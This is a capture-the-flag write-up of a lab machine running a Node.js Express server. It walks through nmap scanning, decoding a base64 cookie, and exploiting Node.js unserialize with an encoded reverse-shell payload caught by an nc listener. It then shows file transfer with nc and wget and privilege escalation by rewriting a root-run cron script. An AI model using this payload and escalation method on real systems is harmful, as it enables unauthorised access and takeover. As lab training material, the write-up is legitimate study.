Intercepting & analyzing NodeJS requests is the key to begin the understanding of this challenge. Once it has been understood how the server manipulating strings, a reverse shell can allow remote attacker to made a reserve shell pops.

When connected on the system, and after trying to find some hidden processes or files during hours ... Just take a break. Breathe. And observe.
Some files are modified periodically. Simply understand by whom, when, and the game is finished.

Lesson learned on this one: Take you time, and observe around you.

Enumeration

Nmap

Begin by the classic nmap scanning, here with:

  • "-A" option that regroup
  • -sC (script scanning)
  • -sV (version scanning)
  • -O (Os Detection), and no timing option, so this is a pretty intrusive scan method.
root@kali-oscp:~# nmap -A -p- 10.10.10.85
Starting Nmap 7.70 ( https://nmap.org ) at 2018-10-29 07:44 EDT
Nmap scan report for 10.10.10.85
Host is up (0.017s latency).
Not shown: 893 closed ports, 106 filtered ports
PORT     STATE SERVICE VERSION
3000/tcp open  http    Node.js Express framework
|_http-title: Site doesn't have a title (text/html; charset=utf-8).

Web Enumeration

Continue by enumerating the NodeJS framework with Burp, that will allow us to modify if needed GET/POST requests easily.

1- Start Burp Suite Community Edition
2- “Proxy” tab -> Intercept on
3- Start firefox & configure local burp a the proxy
4- Firefox: go to http://10.10.10.85:3000
5- Burp: Action -> Send to Repeater
6- “Repeater” tab
7- Go

Adding a /blah to the request, and the web server will respond.

The “profile” parameter of the GET command is abnormally long compared to the common usage. so it seems to be encoded ?

Both %3D%3D at the end of the string represent "==" encoded in HTML, so now I know this char is encoded in base64. Copy the string, remove the %3D%3D at the end, and decode it.

root@kali-oscp:~# echo eyJ1c2VybmFtZSI6IkR1bW15IiwiY291bnRyeSI6IklkayBQcm9iYWJseSBTb21ld2hlcmUgRHVtYiIsImNpdHkiOiJMYW1ldG93biIsIm51bSI6IjIifQ |base64 --decode
{"username":"Dummy","country":"Idk Probably Somewhere Dumb","city":"Lametown","num":"2"}

If I change only one character on the “profile=” string, I get a bunch of errors with some interesting informations. A username ("sun"), and apparently as this generate an error, we can try to pass data into this unserialize function.

EXPLOITING UNSERIALIZED OBJECT

GENERATE THE PAYLOAD

I use the NodeJSShell Python script script to generate an encoded payload for a reverse shell, then I will pass it into the “profile" cookie parameter.

Now I need to encode it with base64 into the previous decoded string. Do not forget to close the function with }()"} .


There are 2 methods to encode this string:

Method n°1: Use the “Decoder” tab on Burp to encode it in base64

{"username":"nvko","serialized":"_$$ND_FUNC$$_function(){eval(String.fromCharCode(10,118,97,114,32,110,101,116,32,61,32,114,101,113,117,105,114,101,40,39,110,101,116,39,41,59,10,118,97,114,32,115,112,97,119,110,32,61,32,114,101,113,117,105,114,101,40,39,99,104,105,108,100,
...
,41,59,10,32,32,32,32,125,41,59,10,125,10,99,40,72,79,83,84,44,80,79,82,84,41,59,10))}()"}

Method n°2: Command-line version
root@kali-oscp:~# echo ......... |base64


GET REVERSE SHELL

On the local computer side, open a listener on port 8586.

root@kali-oscp:~# nc -nlvp 8586



On Burp Suite side, copy/paste the result of the encoded base64 string on the “profile” cookie value, and press "Go"

Now, on the listener side I'm connected as the "sun" user.

Upgrade to a full interactive shell with "bash -i".

PRIVILEGES ESCALATION

FILE UPLOAD

To escalate our privileges, we need to enumerate this user account. So uploading LinEnum.sh will shorten our tasks. Here are 2 methods to proceed.

Method n°1

On the remote host:

sun@sun:~$ nc -l 8587 >LinEnum.sh

On the local computer:

sun@sun:~$ nc -w3 10.10.14.7 8587 <LinEnum.sh



Method n°2

On the local computer:

python -m SimpleHTTPServer

On the remote host:

sun@sun:~$ wget http://10.10.14.7:8000/LinEnum.sh


SYSTEM ENUMERATION

LinEnum execution reveals that every 30minutes a JS file is executed. That seems to restore completely the NodeJS server.

*/30 * * * * nodejs /home/sun/server.js >/dev/null 2>&1

Under Documents/script.py, there is a script that: * prints “Script is running...” * is execute every 5 minutes by "root" user * is writable by "sun" user * is dropping the output into an output.txt file

So, simply adding python code to open /root/root.txt will be certainly enough.

GET THE FLAG

sun@sun:~$ echo "with open('/root/root.txt', 'r') as fin:\n print fin.read()" >Documents/script.py

and wait for 5min

sun@sun:~$ cat ~/output.txt
ba1d0019****************